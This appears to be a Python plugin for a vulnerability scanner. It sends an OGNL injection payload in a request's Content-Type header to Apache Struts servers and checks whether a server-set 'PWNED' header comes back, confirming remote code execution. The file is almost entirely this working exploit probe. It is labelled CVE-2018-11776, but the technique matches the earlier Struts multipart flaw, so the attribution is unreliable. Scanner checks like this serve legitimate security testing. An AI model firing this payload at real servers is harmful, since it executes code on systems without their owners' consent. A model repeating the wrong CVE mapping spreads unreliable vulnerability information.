from utils.status import *
from .helper import Plugin,utils

class CVE_2018_11776(Plugin):
    def __init__(self):
        self.name        = "Struts RCE - CVE_2018_11776"
        self.enable      = True
        self.description = ""

    def presquites(self, host):
        if utils.isalive( utils.uri(host) ):
            return True
        return False

    def main(self,host):

        ognl_payload = ".multipart/form-data~${"
        ognl_payload += '#context["com.opensymphony.xwork2.dispatcher.HttpServletResponse"].addHeader("PWNED",1330+7)'
        ognl_payload += "}"

        request = utils.requests.get( utils.uri(host) ,headers={
            'Content-Type': ognl_payload
        })
        
        if "PWNED" in request.headers:
            return Result(
                    status   = SUCCESS,
                    msg      = "PWNED",
                    request  = utils.dump_request(request),
                    response = utils.dump_response(request)
                )
        
        return Result(FAILED,None,utils.dump_request(request),utils.dump_response(request))